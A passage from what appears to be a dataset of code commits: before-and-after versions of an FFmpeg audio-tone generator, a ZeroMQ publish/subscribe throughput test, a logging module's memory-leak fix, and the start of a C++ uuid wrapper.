avcodec_find_decoder(CODEC_ID_MP2);\n if (!codec) {\n fprintf(stderr, \"codec not found\\n\");\n exit(1);\n }\n\n c= avcodec_alloc_context3(codec);\n\n \/* open it *\/\n if (avcodec_open2(c, codec, nullptr) < 0) {\n fprintf(stderr, \"could not open codec\\n\");\n exit(1);\n }\n\n outbuf = (uint8_t*)malloc(AVCODEC_MAX_AUDIO_FRAME_SIZE);\n\n f = fopen(filename.c_str(), \"rb\");\n if (!f) {\n fprintf(stderr, \"could not open %s\\n\", filename.c_str());\n exit(1);\n }\n outfile = fopen(outfilename.c_str(), \"wb\");\n if (!outfile) {\n av_free(c);\n exit(1);\n }\n\n \/* decode until eof *\/\n avpkt.data = inbuf;\n avpkt.size = fread(inbuf, 1, AUDIO_INBUF_SIZE, f);\n\n while (avpkt.size > 0) {\n out_size = AVCODEC_MAX_AUDIO_FRAME_SIZE;\n len = avcodec_decode_audio3(c, (short *)outbuf, &out_size, &avpkt);\n if (len < 0) {\n fprintf(stderr, \"Error while decoding\\n\");\n exit(1);\n }\n if (out_size > 0) {\n \/* if a frame has been decoded, output it *\/\n fwrite(outbuf, 1, out_size, outfile);\n }\n avpkt.size -= len;\n avpkt.data += len;\n if (avpkt.size < AUDIO_REFILL_THRESH) {\n \/* Refill the input buffer, to avoid trying to decode\n * incomplete frames. Instead of this, one could also use\n * a parser, or use a proper container format through\n * libavformat. *\/\n memmove(inbuf, avpkt.data, avpkt.size);\n avpkt.data = inbuf;\n len = fread(avpkt.data + avpkt.size, 1,\n AUDIO_INBUF_SIZE - avpkt.size, f);\n if (len > 0)\n avpkt.size += len;\n }\n }\n\n fclose(outfile);\n fclose(f);\n free(outbuf);\n\n avcodec_close(c);\n av_free(c);\n}\n\nvector<string> gen_audio::get_codec_list() {\n vector<string> rc;\n AVCodec* current_codec = av_codec_next(nullptr);\n while (current_codec != NULL)\n {\n if (!av_codec_is_encoder(current_codec))\n {\n current_codec = av_codec_next(current_codec);\n continue;\n }\n rc.push_back(string(current_codec->name));\n current_codec = av_codec_next(current_codec);\n }\n return rc;\n}\n\n\/\/int main(int argc, char **argv)\n\/\/{\n\/\/ const char *filename;\n\n\/\/ \/* must be called before using avcodec lib *\/\n\/\/\/\/ avcodec_init();\n\n\/\/ \/* register all the codecs *\/\n\/\/ avcodec_register_all();\n\n\/\/ if (argc <= 1) {\n\/\/ audio_encode_example(\"\/tmp\/test.mp2\");\n\/\/ audio_decode_example(\"\/tmp\/test.sw\", \"\/tmp\/test.mp2\");\n\n\/\/ video_encode_example(\"\/tmp\/test.mpg\");\n\/\/ filename = \"\/tmp\/test.mpg\";\n\/\/ } else {\n\/\/ filename = argv[1];\n\/\/ }\n\n\/\/ \/\/ audio_decode_example(\"\/tmp\/test.sw\", filename);\n\/\/ video_decode_example(\"\/tmp\/test%d.pgm\", filename);\n\n\/\/ return 0;\n\/\/}\n<commit_msg>add more documentation to gen_audio.cpp<commit_after>\/*\n * Copyright (c) 2001 Fabrice Bellard\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <iostream>\n\n#ifdef HAVE_AV_CONFIG_H\n#undef HAVE_AV_CONFIG_H\n#endif\n\n#include \"gen_audio.hpp\"\n\nextern \"C\" {\n #include <libavformat\/avformat.h>\n #include <libavutil\/imgutils.h>\n #include <libswscale\/swscale.h>\n #include <libavcodec\/avcodec.h>\n #include <libavutil\/common.h>\n #include <libavutil\/opt.h>\n}\n\n\/\/ this stuff makes me cranky!\n#if LIBAVCODEC_VERSION_INT < AV_VERSION_INT(55,28,1)\n#define av_frame_alloc avcodec_alloc_frame\n#define av_frame_free avcodec_free_frame\n#endif\n\n#define INBUF_SIZE 4096\n#define AUDIO_INBUF_SIZE 20480\n#define AUDIO_REFILL_THRESH 4096\n\nusing namespace std;\n\ngen_audio::gen_audio() :\n r{42}\n{\n}\n\nvector<unsigned char> gen_audio::render_target( int datumNumber ) {\n std::poisson_distribution<int> _word_count(3);\n std::uniform_int_distribution<int> _word(0,vocab.size()-1);\n vector<unsigned char> rc;\n\n int word_count = _word_count(r)+1;\n for(int i=0; i<word_count; i++) {\n int word = _word(r);\n string w = vocab[word];\n if( i > 0 ) rc.push_back(' ');\n rc.insert( rc.end(), w.begin(), w.end() );\n }\n\/\/ string result((char*)rc.data(),rc.size());\n\/\/ cout << \"'\" << result << \"'\\n\";\n return rc;\n}\n\nvector<unsigned char> gen_audio::render_datum( int datumNumber ) {\n int frequency = ((datumNumber % 7) + 1) * 1000;\n return encode(frequency, 2000);\n}\n\n\/*\n * Audio encoding example\n *\n * generate an mp2 encoded sin wave with `frequencyHz` and length `duration`\n * in milliseconds.\n *\/\nvector<unsigned char> gen_audio::encode(float frequencyHz, int duration) {\n AVCodec *codec;\n AVCodecContext *c= nullptr;\n int frame_size, i, j, out_size, outbuf_size;\n short *samples;\n float t, tincr;\n uint8_t *outbuf;\n vector<unsigned char> rc;\n\n \/* find the MP2 encoder *\/\n codec = avcodec_find_encoder(CODEC_ID_MP2);\n if (!codec) {\n fprintf(stderr, \"codec not found\\n\");\n exit(1);\n }\n\n c = avcodec_alloc_context3(codec);\n\n c->sample_fmt = c->codec->sample_fmts[0];\n\n \/* put sample parameters *\/\n c->bit_rate = 64000;\n c->sample_rate = 44100;\n c->channels = 2;\n\n \/* open it *\/\n if (avcodec_open2(c, codec, nullptr) < 0) {\n fprintf(stderr, \"could not open codec\\n\");\n exit(1);\n }\n\n \/* the codec gives us the frame size, in samples *\/\n frame_size = c->frame_size;\n float frame_duration = (float)(c->frame_size) \/ (float)(c->sample_rate);\n int frames = ceil((float)duration \/ frame_duration \/ 1000.);\n samples = (short*)malloc(frame_size * 2 * c->channels);\n outbuf_size = 10000;\n outbuf = (uint8_t*)malloc(outbuf_size);\n\n \/* encode a single tone sound *\/\n t = 0;\n tincr = 2 * M_PI * frequencyHz \/ c->sample_rate;\n for(i=0;i<frames;i++) {\n for(j=0;j<frame_size;j++) {\n samples[2*j] = (int)(sin(t) * 10000);\n samples[2*j+1] = samples[2*j];\n t += tincr;\n }\n \/* encode the samples *\/\n out_size = avcodec_encode_audio(c, outbuf, outbuf_size, samples);\n for(int i=0; i<out_size; i++) { rc.push_back(outbuf[i]); }\n }\n free(outbuf);\n free(samples);\n\n avcodec_close(c);\n av_free(c);\n\n return rc;\n}\n\n\/*\n * Audio encoding example\n *\n * generate an mp2 encoded sin wave with `frequencyHz` and length `duration`\n * in milliseconds. write audio file to `filename`.\n *\/\nvoid gen_audio::encode(const std::string& filename, float frequencyHz, int duration)\n{\n FILE* f;\n f = fopen(filename.c_str(), \"wb\");\n if (!f) {\n fprintf(stderr, \"could not open %s\\n\", filename.c_str());\n exit(1);\n }\n\n vector<unsigned char> data = encode(frequencyHz,duration);\n fwrite(data.data(), 1, data.size(), f);\n fclose(f);\n}\n\n\/*\n * Audio decoding.\n *\/\nvoid gen_audio::decode(const std::string& outfilename, const std::string& filename)\n{\n AVCodec *codec;\n AVCodecContext *c= NULL;\n int out_size, len;\n FILE *f, *outfile;\n uint8_t *outbuf;\n uint8_t inbuf[AUDIO_INBUF_SIZE + FF_INPUT_BUFFER_PADDING_SIZE];\n AVPacket avpkt;\n\n av_init_packet(&avpkt);\n\n printf(\"Audio decoding\\n\");\n\n \/* find the mpeg audio decoder *\/\n codec = avcodec_find_decoder(CODEC_ID_MP2);\n if (!codec) {\n fprintf(stderr, \"codec not found\\n\");\n exit(1);\n }\n\n c= avcodec_alloc_context3(codec);\n\n \/* open it *\/\n if (avcodec_open2(c, codec, nullptr) < 0) {\n fprintf(stderr, \"could not open codec\\n\");\n exit(1);\n }\n\n outbuf = (uint8_t*)malloc(AVCODEC_MAX_AUDIO_FRAME_SIZE);\n\n f = fopen(filename.c_str(), \"rb\");\n if (!f) {\n fprintf(stderr, \"could not open %s\\n\", filename.c_str());\n exit(1);\n }\n outfile = fopen(outfilename.c_str(), \"wb\");\n if (!outfile) {\n av_free(c);\n exit(1);\n }\n\n \/* decode until eof *\/\n avpkt.data = inbuf;\n avpkt.size = fread(inbuf, 1, AUDIO_INBUF_SIZE, f);\n\n while (avpkt.size > 0) {\n out_size = AVCODEC_MAX_AUDIO_FRAME_SIZE;\n len = avcodec_decode_audio3(c, (short *)outbuf, &out_size, &avpkt);\n if (len < 0) {\n fprintf(stderr, \"Error while decoding\\n\");\n exit(1);\n }\n if (out_size > 0) {\n \/* if a frame has been decoded, output it *\/\n fwrite(outbuf, 1, out_size, outfile);\n }\n avpkt.size -= len;\n avpkt.data += len;\n if (avpkt.size < AUDIO_REFILL_THRESH) {\n \/* Refill the input buffer, to avoid trying to decode\n * incomplete frames. Instead of this, one could also use\n * a parser, or use a proper container format through\n * libavformat. *\/\n memmove(inbuf, avpkt.data, avpkt.size);\n avpkt.data = inbuf;\n len = fread(avpkt.data + avpkt.size, 1,\n AUDIO_INBUF_SIZE - avpkt.size, f);\n if (len > 0)\n avpkt.size += len;\n }\n }\n\n fclose(outfile);\n fclose(f);\n free(outbuf);\n\n avcodec_close(c);\n av_free(c);\n}\n\nvector<string> gen_audio::get_codec_list() {\n vector<string> rc;\n AVCodec* current_codec = av_codec_next(nullptr);\n while (current_codec != NULL)\n {\n if (!av_codec_is_encoder(current_codec))\n {\n current_codec = av_codec_next(current_codec);\n continue;\n }\n rc.push_back(string(current_codec->name));\n current_codec = av_codec_next(current_codec);\n }\n return rc;\n}\n\n\/\/int main(int argc, char **argv)\n\/\/{\n\/\/ const char *filename;\n\n\/\/ \/* must be called before using avcodec lib *\/\n\/\/\/\/ avcodec_init();\n\n\/\/ \/* register all the codecs *\/\n\/\/ avcodec_register_all();\n\n\/\/ if (argc <= 1) {\n\/\/ audio_encode_example(\"\/tmp\/test.mp2\");\n\/\/ audio_decode_example(\"\/tmp\/test.sw\", \"\/tmp\/test.mp2\");\n\n\/\/ video_encode_example(\"\/tmp\/test.mpg\");\n\/\/ filename = \"\/tmp\/test.mpg\";\n\/\/ } else {\n\/\/ filename = argv[1];\n\/\/ }\n\n\/\/ \/\/ audio_decode_example(\"\/tmp\/test.sw\", filename);\n\/\/ video_decode_example(\"\/tmp\/test%d.pgm\", filename);\n\n\/\/ return 0;\n\/\/}\n<|endoftext|>"} {"text":"<commit_before>\/**\n** Copyright (C) 2010 Aldebaran Robotics\n*\/\n\n#include <gtest\/gtest.h>\n#include <vector>\n#include <iostream>\n#include <cmath>\n#include <qi\/transport\/zeromq\/zmqpublisher.hpp>\n#include <qi\/transport\/zeromq\/zmqsubscriber.hpp>\n#include <qi\/perf\/sleep.hpp>\n#include <boost\/timer.hpp>\n\nstruct SubscribePerfHandler : qi::transport::ISubscribeHandler {\n int fCount;\n int fExpectedMessages;\n boost::timer timer;\n\n \/\/ conforms to ISubscriberHandler\n void subscribeHandler(const std::string& msg) {\n if (fCount == 0) {\n timer.restart();\n }\n fCount++;\n if (fCount != fExpectedMessages) {\n return;\n }\n \/\/ print results\n double elapsed = timer.elapsed();\n double msgPerSecond = 1.0 \/(elapsed \/ fExpectedMessages);\n std::cout << \"SUB: msg\/s: \" <<\n std::setprecision(12) << msgPerSecond << std::endl;\n }\n\n int getCount() {\n return fCount;\n }\n\n SubscribePerfHandler() : fCount(0) {}\n\n SubscribePerfHandler(int expectedMessages) :\n fCount(0),\n fExpectedMessages(expectedMessages) {}\n};\n\nTEST(TransportZMQPublisher , MillionPerSecond)\n{\n int numMillions = 1;\n int numMessages = numMillions * 1000000;\n\n SubscribePerfHandler handler(numMessages);\n qi::transport::ZMQPublisher publisher1(\"tcp:\/\/127.0.0.1:5556\");\n qi::transport::ZMQPublisher publisher(\"tcp:\/\/127.0.0.1:5555\");\n qi::transport::ZMQSubscriber subscriber(\"tcp:\/\/127.0.0.1:5555\");\n\n subscriber.setSubscribeHandler(&handler);\n subscriber.subscribe();\n std::string msg = \"Hello\";\n sleep(1);\n for (int i=0; i < numMessages; i++) {\n publisher.publish(msg);\n }\n\n sleep(2);\n int result = handler.getCount();\n ASSERT_EQ( numMessages, result) << \"Did not receive all messages\";\n}\n\n\n\nTEST(TransportZMQPublisher , MultipleSubscribers)\n{\n int numMessages = 100000;\n\n qi::transport::ZMQPublisher publisher(\"tcp:\/\/127.0.0.1:5555\");\n\n const int numSubscribers = 50;\n std::vector<SubscribePerfHandler*> handlers;\n std::vector< qi::transport::ZMQSubscriber*> subscribers;\n boost::shared_ptr<zmq::context_t> subContext(new zmq::context_t(1));\n for (unsigned int i = 0; i < numSubscribers; ++i) {\n SubscribePerfHandler* hand = new SubscribePerfHandler(numMessages);\n qi::transport::ZMQSubscriber* sub = new qi::transport::ZMQSubscriber(subContext, \"tcp:\/\/127.0.0.1:5555\");\n sub->setSubscribeHandler(hand);\n sub->subscribe();\n handlers.push_back(hand);\n subscribers.push_back(sub);\n }\n sleep(1);\n std::string msg = \"Hello\";\n\n std::cout << \"Publishing...\";\n for (int i=0; i < numMessages; i++) {\n publisher.publish(msg);\n }\n std::cout << \" Done.\" << std::endl;\n sleep(1);\n int result = 0;\n for(unsigned int i=0; i < numSubscribers; ++i) {\n result += handlers[i]->getCount();\n }\n ASSERT_EQ( numMessages * numSubscribers, result) << \"Did not receive all messages\";\n}\n\n<commit_msg>publish test fixes for stash<commit_after>\/**\n** Copyright (C) 2010 Aldebaran Robotics\n*\/\n\n#include <gtest\/gtest.h>\n#include <vector>\n#include <iostream>\n#include <cmath>\n#include <qi\/transport\/zeromq\/zmqpublisher.hpp>\n#include <qi\/transport\/zeromq\/zmqsubscriber.hpp>\n#include <qi\/perf\/sleep.hpp>\n#include <boost\/timer.hpp>\n\nstruct SubscribePerfHandler : qi::transport::ISubscribeHandler {\n int fCount;\n int fExpectedMessages;\n boost::timer timer;\n\n \/\/ conforms to ISubscriberHandler\n void subscribeHandler(const std::string& msg) {\n if (fCount == 0) {\n timer.restart();\n }\n fCount++;\n if (fCount != fExpectedMessages) {\n return;\n }\n \/\/ print results\n double elapsed = timer.elapsed();\n double msgPerSecond = 1.0 \/(elapsed \/ fExpectedMessages);\n std::cout << \"SUB: msg\/s: \" <<\n std::setprecision(12) << msgPerSecond << std::endl;\n }\n\n int getCount() {\n return fCount;\n }\n\n SubscribePerfHandler() : fCount(0) {}\n\n SubscribePerfHandler(int expectedMessages) :\n fCount(0),\n fExpectedMessages(expectedMessages) {}\n};\n\nTEST(TransportZMQPublisher , MillionPerSecond)\n{\n int numMillions = 1;\n int numMessages = numMillions * 1000000;\n\n SubscribePerfHandler handler(numMessages);\n \/\/qi::transport::ZMQPublisher publisher1(\"tcp:\/\/127.0.0.1:5556\");\n qi::transport::ZMQPublisher publisher(\"tcp:\/\/127.0.0.1:5555\");\n qi::transport::ZMQSubscriber subscriber(\"tcp:\/\/127.0.0.1:5555\");\n\n subscriber.setSubscribeHandler(&handler);\n subscriber.subscribe();\n std::string msg = \"Hello\";\n sleep(1);\n for (int i=0; i < numMessages; i++) {\n publisher.publish(msg);\n }\n\n sleep(2);\n int result = handler.getCount();\n ASSERT_EQ( numMessages, result) << \"Did not receive all messages\";\n}\n\n\n\nTEST(TransportZMQPublisher , MultipleSubscribers)\n{\n int numMessages = 100000;\n\n\n const int numSubscribers = 50;\n std::vector<SubscribePerfHandler*> handlers;\n std::vector< qi::transport::ZMQSubscriber*> subscribers;\n \/\/boost::shared_ptr<zmq::context_t> subContext(new zmq::context_t(1));\n for (unsigned int i = 0; i < numSubscribers; ++i) {\n SubscribePerfHandler* hand = new SubscribePerfHandler(numMessages);\n qi::transport::ZMQSubscriber* sub = new qi::transport::ZMQSubscriber(\/*subContext, *\/\"tcp:\/\/127.0.0.1:5555\");\n sub->setSubscribeHandler(hand);\n sub->subscribe();\n handlers.push_back(hand);\n subscribers.push_back(sub);\n }\n sleep(1);\n qi::transport::ZMQPublisher publisher(\"tcp:\/\/127.0.0.1:5555\");\n\n sleep(1);\n std::string msg = \"Hello\";\n\n std::cout << \"Publishing...\";\n for (int i=0; i < numMessages; i++) {\n publisher.publish(msg);\n }\n std::cout << \" Done.\" << std::endl;\n sleep(1);\n int result = 0;\n for(unsigned int i=0; i < numSubscribers; ++i) {\n result += handlers[i]->getCount();\n }\n ASSERT_EQ( numMessages * numSubscribers, result) << \"Did not receive all messages\";\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 Google Inc. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"base\/logging.h\"\n\n#include \"base\/mutex.h\"\n\nusing ::std::string;\n\nDEFINE_int32(stderrthreshold,\n LOGLEVEL_ERROR,\n \"log messages at or above this level are copied to stderr\");\nDEFINE_int32(minloglevel,\n LOGLEVEL_INFO,\n \"Messages logged at a lower level than this don't actually get \"\n \"logged anywhere\");\n\nnamespace internal {\n\nvoid DefaultLogHandler(LogLevel level, const char* filename, int line,\n const string& message) {\n static const char* level_names[] = {\"INFO\", \"WARNING\", \"ERROR\", \"FATAL\"};\n\n \/\/ Only log errors above minloglevel.\n if (level >= FLAGS_minloglevel) {\n \/\/ We use fprintf() instead of cerr because we want this to work at static\n \/\/ initialization time.\n fprintf(stderr, \"[lmctfy %s %s:%d] %s\\n\", level_names[level], filename,\n line, message.c_str());\n fflush(stderr); \/\/ Needed on MSVC.\n }\n}\n\nvoid NullLogHandler(LogLevel level, const char* filename, int line,\n const string& message) {\n \/\/ Nothing.\n}\n\nstatic LogHandler* log_handler_ = &DefaultLogHandler;\nstatic int log_silencer_count_ = 0;\n\nstatic Mutex* log_silencer_count_mutex_ = nullptr;\n\nMutex *InitLogSilencerMutex() {\n static Mutex *m = new Mutex();\n return m;\n}\n\nvoid InitLogSilencerCount() {\n log_silencer_count_mutex_ = InitLogSilencerMutex();\n}\nvoid InitLogSilencerCountOnce() {\n log_silencer_count_mutex_ = new Mutex();\n}\n\nLogMessage& LogMessage::operator<<(const string& value) {\n message_ += value;\n return *this;\n}\n\nLogMessage& LogMessage::operator<<(const char* value) {\n message_ += value;\n return *this;\n}\n\n\/\/ Since this is just for logging, we don't care if the current locale changes\n\/\/ the results -- in fact, we probably prefer that. So we use snprintf()\n\/\/ instead of Simple*toa().\n#undef DECLARE_STREAM_OPERATOR\n#define DECLARE_STREAM_OPERATOR(TYPE, FORMAT) \\\n LogMessage& LogMessage::operator<<(TYPE value) { \\\n \/* 128 bytes should be big enough for any of the primitive *\/ \\\n \/* values which we print with this, but well use snprintf() *\/ \\\n \/* anyway to be extra safe. *\/ \\\n char buffer[128]; \\\n snprintf(buffer, sizeof(buffer), FORMAT, value); \\\n \/* Guard against broken MSVC snprintf(). *\/ \\\n buffer[sizeof(buffer)-1] = '\\0'; \\\n message_ += buffer; \\\n return *this; \\\n }\n\nDECLARE_STREAM_OPERATOR(char , \"%c\" )\nDECLARE_STREAM_OPERATOR(int , \"%d\" )\nDECLARE_STREAM_OPERATOR(uint , \"%u\" )\nDECLARE_STREAM_OPERATOR(long , \"%ld\" )\nDECLARE_STREAM_OPERATOR(long long , \"%lld\")\nDECLARE_STREAM_OPERATOR(unsigned long , \"%lu\" )\nDECLARE_STREAM_OPERATOR(unsigned long long, \"%llu\")\nDECLARE_STREAM_OPERATOR(double , \"%g\" )\n#undef DECLARE_STREAM_OPERATOR\n\nLogMessage::LogMessage(LogLevel level, const char* filename, int line)\n : level_(level), filename_(filename), line_(line) {}\nLogMessage::~LogMessage() {}\n\nvoid LogMessage::Finish() {\n bool suppress = false;\n\n if (level_ != LOGLEVEL_FATAL) {\n InitLogSilencerCountOnce();\n MutexLock lock(log_silencer_count_mutex_);\n suppress = log_silencer_count_ > 0;\n }\n\n if (!suppress) {\n log_handler_(level_, filename_, line_, message_);\n }\n\n if (level_ == LOGLEVEL_FATAL) {\n#if PROTOBUF_USE_EXCEPTIONS\n throw FatalException(filename_, line_, message_);\n#else\n abort();\n#endif\n }\n}\n\nvoid LogFinisher::operator=(LogMessage& other) {\n other.Finish();\n}\n\n} \/\/ namespace internal\n\nLogHandler* SetLogHandler(LogHandler* new_func) {\n LogHandler* old = internal::log_handler_;\n if (old == &internal::NullLogHandler) {\n old = NULL;\n }\n if (new_func == NULL) {\n internal::log_handler_ = &internal::NullLogHandler;\n } else {\n internal::log_handler_ = new_func;\n }\n return old;\n}\n\nLogSilencer::LogSilencer() {\n internal::InitLogSilencerCountOnce();\n MutexLock lock(internal::log_silencer_count_mutex_);\n ++internal::log_silencer_count_;\n};\n\nLogSilencer::~LogSilencer() {\n internal::InitLogSilencerCountOnce();\n MutexLock lock(internal::log_silencer_count_mutex_);\n --internal::log_silencer_count_;\n};\n\nstatic int posix_strerror_r(int err, char *buf, size_t len) {\n \/\/ Sanity check input parameters\n if (buf == NULL || len <= 0) {\n errno = EINVAL;\n return -1;\n }\n\n \/\/ Reset buf and errno, and try calling whatever version of strerror_r()\n \/\/ is implemented by glibc\n buf[0] = '\\000';\n int old_errno = errno;\n errno = 0;\n char* rc = reinterpret_cast<char*>(strerror_r(err, buf, len));\n\n \/\/ Both versions set errno on failure\n if (errno) {\n \/\/ Should already be there, but better safe than sorry\n buf[0] = '\\000';\n return -1;\n }\n errno = old_errno;\n\n \/\/ If the function succeeded, we can use its exit code to determine the\n \/\/ semantics implemented by glibc\n if (!rc) {\n \/\/ POSIX is vague about whether the string will be terminated, although\n \/\/ is indirectly implies that typically ERANGE will be returned, instead\n \/\/ of truncating the string. This is different from the GNU implementation.\n \/\/ We play it safe by always terminating the string explicitly.\n buf[len - 1] = '\\000';\n return 0;\n } else {\n \/\/ GNU semantics detected\n if (rc == buf) {\n return 0;\n } else {\n buf[0] = '\\000';\n strncat(buf, rc, len - 1);\n return 0;\n }\n }\n}\n\nstring StrError(int err) {\n char buf[100];\n int rc = posix_strerror_r(err, buf, sizeof(buf));\n if ((rc < 0) || (buf[0] == '\\000')) {\n snprintf(buf, sizeof(buf), \"Error number %d\", err);\n }\n return buf;\n}\n<commit_msg>Fix a memory leak in logging<commit_after>\/\/ Copyright 2013 Google Inc. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"base\/logging.h\"\n\n#include \"base\/mutex.h\"\n\nusing ::std::string;\n\nDEFINE_int32(stderrthreshold,\n LOGLEVEL_ERROR,\n \"log messages at or above this level are copied to stderr\");\nDEFINE_int32(minloglevel,\n LOGLEVEL_INFO,\n \"Messages logged at a lower level than this don't actually get \"\n \"logged anywhere\");\n\nnamespace internal {\n\nvoid DefaultLogHandler(LogLevel level, const char* filename, int line,\n const string& message) {\n static const char* level_names[] = {\"INFO\", \"WARNING\", \"ERROR\", \"FATAL\"};\n\n \/\/ Only log errors above minloglevel.\n if (level >= FLAGS_minloglevel) {\n \/\/ We use fprintf() instead of cerr because we want this to work at static\n \/\/ initialization time.\n fprintf(stderr, \"[lmctfy %s %s:%d] %s\\n\", level_names[level], filename,\n line, message.c_str());\n fflush(stderr); \/\/ Needed on MSVC.\n }\n}\n\nvoid NullLogHandler(LogLevel level, const char* filename, int line,\n const string& message) {\n \/\/ Nothing.\n}\n\nstatic LogHandler* log_handler_ = &DefaultLogHandler;\nstatic int log_silencer_count_ = 0;\n\nstatic Mutex* log_silencer_count_mutex_ = nullptr;\n\nMutex *InitLogSilencerMutex() {\n static Mutex *m = new Mutex();\n return m;\n}\n\nvoid InitLogSilencerCount() {\n log_silencer_count_mutex_ = InitLogSilencerMutex();\n}\n\nLogMessage& LogMessage::operator<<(const string& value) {\n message_ += value;\n return *this;\n}\n\nLogMessage& LogMessage::operator<<(const char* value) {\n message_ += value;\n return *this;\n}\n\n\/\/ Since this is just for logging, we don't care if the current locale changes\n\/\/ the results -- in fact, we probably prefer that. So we use snprintf()\n\/\/ instead of Simple*toa().\n#undef DECLARE_STREAM_OPERATOR\n#define DECLARE_STREAM_OPERATOR(TYPE, FORMAT) \\\n LogMessage& LogMessage::operator<<(TYPE value) { \\\n \/* 128 bytes should be big enough for any of the primitive *\/ \\\n \/* values which we print with this, but well use snprintf() *\/ \\\n \/* anyway to be extra safe. *\/ \\\n char buffer[128]; \\\n snprintf(buffer, sizeof(buffer), FORMAT, value); \\\n \/* Guard against broken MSVC snprintf(). *\/ \\\n buffer[sizeof(buffer)-1] = '\\0'; \\\n message_ += buffer; \\\n return *this; \\\n }\n\nDECLARE_STREAM_OPERATOR(char , \"%c\" )\nDECLARE_STREAM_OPERATOR(int , \"%d\" )\nDECLARE_STREAM_OPERATOR(uint , \"%u\" )\nDECLARE_STREAM_OPERATOR(long , \"%ld\" )\nDECLARE_STREAM_OPERATOR(long long , \"%lld\")\nDECLARE_STREAM_OPERATOR(unsigned long , \"%lu\" )\nDECLARE_STREAM_OPERATOR(unsigned long long, \"%llu\")\nDECLARE_STREAM_OPERATOR(double , \"%g\" )\n#undef DECLARE_STREAM_OPERATOR\n\nLogMessage::LogMessage(LogLevel level, const char* filename, int line)\n : level_(level), filename_(filename), line_(line) {}\nLogMessage::~LogMessage() {}\n\nvoid LogMessage::Finish() {\n bool suppress = false;\n\n if (level_ != LOGLEVEL_FATAL) {\n InitLogSilencerCount();\n MutexLock lock(log_silencer_count_mutex_);\n suppress = log_silencer_count_ > 0;\n }\n\n if (!suppress) {\n log_handler_(level_, filename_, line_, message_);\n }\n\n if (level_ == LOGLEVEL_FATAL) {\n#if PROTOBUF_USE_EXCEPTIONS\n throw FatalException(filename_, line_, message_);\n#else\n abort();\n#endif\n }\n}\n\nvoid LogFinisher::operator=(LogMessage& other) {\n other.Finish();\n}\n\n} \/\/ namespace internal\n\nLogHandler* SetLogHandler(LogHandler* new_func) {\n LogHandler* old = internal::log_handler_;\n if (old == &internal::NullLogHandler) {\n old = NULL;\n }\n if (new_func == NULL) {\n internal::log_handler_ = &internal::NullLogHandler;\n } else {\n internal::log_handler_ = new_func;\n }\n return old;\n}\n\nLogSilencer::LogSilencer() {\n internal::InitLogSilencerCount();\n MutexLock lock(internal::log_silencer_count_mutex_);\n ++internal::log_silencer_count_;\n};\n\nLogSilencer::~LogSilencer() {\n internal::InitLogSilencerCount();\n MutexLock lock(internal::log_silencer_count_mutex_);\n --internal::log_silencer_count_;\n};\n\nstatic int posix_strerror_r(int err, char *buf, size_t len) {\n \/\/ Sanity check input parameters\n if (buf == NULL || len <= 0) {\n errno = EINVAL;\n return -1;\n }\n\n \/\/ Reset buf and errno, and try calling whatever version of strerror_r()\n \/\/ is implemented by glibc\n buf[0] = '\\000';\n int old_errno = errno;\n errno = 0;\n char* rc = reinterpret_cast<char*>(strerror_r(err, buf, len));\n\n \/\/ Both versions set errno on failure\n if (errno) {\n \/\/ Should already be there, but better safe than sorry\n buf[0] = '\\000';\n return -1;\n }\n errno = old_errno;\n\n \/\/ If the function succeeded, we can use its exit code to determine the\n \/\/ semantics implemented by glibc\n if (!rc) {\n \/\/ POSIX is vague about whether the string will be terminated, although\n \/\/ is indirectly implies that typically ERANGE will be returned, instead\n \/\/ of truncating the string. This is different from the GNU implementation.\n \/\/ We play it safe by always terminating the string explicitly.\n buf[len - 1] = '\\000';\n return 0;\n } else {\n \/\/ GNU semantics detected\n if (rc == buf) {\n return 0;\n } else {\n buf[0] = '\\000';\n strncat(buf, rc, len - 1);\n return 0;\n }\n }\n}\n\nstring StrError(int err) {\n char buf[100];\n int rc = posix_strerror_r(err, buf, sizeof(buf));\n if ((rc < 0) || (buf[0] == '\\000')) {\n snprintf(buf, sizeof(buf), \"Error number %d\", err);\n }\n return buf;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <cstdlib>\n#include <iostream>\n\n#include <ioa.hpp>\n#include <queue>\n#include <uuid\/uuid.h>\n\n#include <boost\/type_traits.hpp>\n\nstruct uuid {\n uuid_t u;\n\n uuid () {\n uuid_generate (u);\n }\n\n uuid (const uuid& x) {\n uuid_copy (u, x.u);\n }\n\n uuid& operator= (const uuid& x) {\n if (this != &x) {\n uuid_copy (u, x.u);\n }\n return *this;\n }\n\n bool operator> (const uuid& x) const {\n return uuid_compare (u, x.u) > 0;\n }\n\n bool operator== (const uuid& x) const {\n return uuid_compare (u, x.u) == 0;\n }\n\n void print_on (std::ostream& os) const {\n char s[37];\n uuid_unparse (u, s);\n os << s;\n }\n};\n\nstd::ostream& operator<< (std::ostream& 